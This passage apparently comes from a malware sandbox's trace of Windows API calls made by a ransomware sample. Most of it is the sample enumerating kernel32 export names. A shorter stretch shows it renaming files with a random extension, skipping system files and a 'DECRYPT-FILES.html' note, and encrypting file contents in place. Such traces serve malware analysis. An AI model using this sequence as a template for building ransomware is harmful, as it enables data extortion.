(lpString="CREATEPIPE") returned 10 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0140.846] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0140.846] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0140.846] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0140.846] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0140.846] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0140.846] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0140.846] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0140.846] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0140.846] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0140.846] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0140.846] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0140.846] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0140.846] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0140.846] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0140.847] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0140.847] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0140.847] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0140.847] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0140.847] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0140.847] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0140.847] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0140.847] lstrlenA (lpString="CREATETHREAD") returned 12 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0140.847] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0140.847] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0140.847] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0140.847] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0140.847] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0140.847] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0140.847] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0140.847] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0140.848] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.X1qENK") returned 51 [0140.848] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.X1qENK" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.x1qenk"), dwFlags=0x0) returned 1 [0140.848] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.849] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.849] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.849] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0140.849] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0140.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\") returned 27 [0140.850] lstrlenW (lpString="SetupResources.dll") returned 18 [0140.850] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\3082\\" | out: lpString1="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0140.850] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" [0140.850] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.850] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0140.850] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18776) returned 1 [0140.850] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0140.850] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0140.953] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0140.953] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0140.953] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.953] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0140.953] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0140.954] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.954] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0140.954] CloseHandle (hObject=0x5f8) returned 1 [0140.954] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.954] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0140.955] CloseHandle (hObject=0x0) returned 0 [0140.955] CloseHandle (hObject=0x5f4) returned 1 [0140.956] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.956] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.957] GetTickCount () returned 0x388c9 [0140.957] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.957] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0140.957] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0140.957] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.957] lstrlenA (lpString="kernel32.dll") returned 12 [0140.957] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0140.958] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0140.958] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0140.958] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0140.958] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0140.958] lstrlenA (lpString="ADDATOMA") returned 8 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0140.958] lstrlenA (lpString="ADDATOMW") returned 8 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0140.958] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0140.958] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0140.958] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0140.958] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0140.958] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0140.958] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0140.958] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0140.958] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0140.958] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0140.958] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0140.958] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0140.958] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0140.958] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0140.958] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0140.958] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0140.958] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0140.959] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0140.959] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0140.959] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0140.959] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0140.959] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0140.959] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0140.959] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0140.959] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0140.959] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0140.959] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0140.959] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0140.959] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0140.959] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0140.959] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0140.959] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0140.959] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0140.959] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0140.959] lstrlenA (lpString="BACKUPREAD") returned 10 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0140.959] lstrlenA (lpString="BACKUPSEEK") returned 10 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0140.959] lstrlenA (lpString="BACKUPWRITE") returned 11 [0140.959] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0140.959] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0140.960] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0140.960] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0140.960] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0140.960] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0140.960] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0140.960] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0140.960] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0140.960] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0140.960] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0140.960] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0140.960] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0140.960] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0140.960] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0140.960] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0140.960] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0140.960] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0140.960] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0140.960] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0140.960] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0140.960] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0140.960] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0140.960] lstrlenA 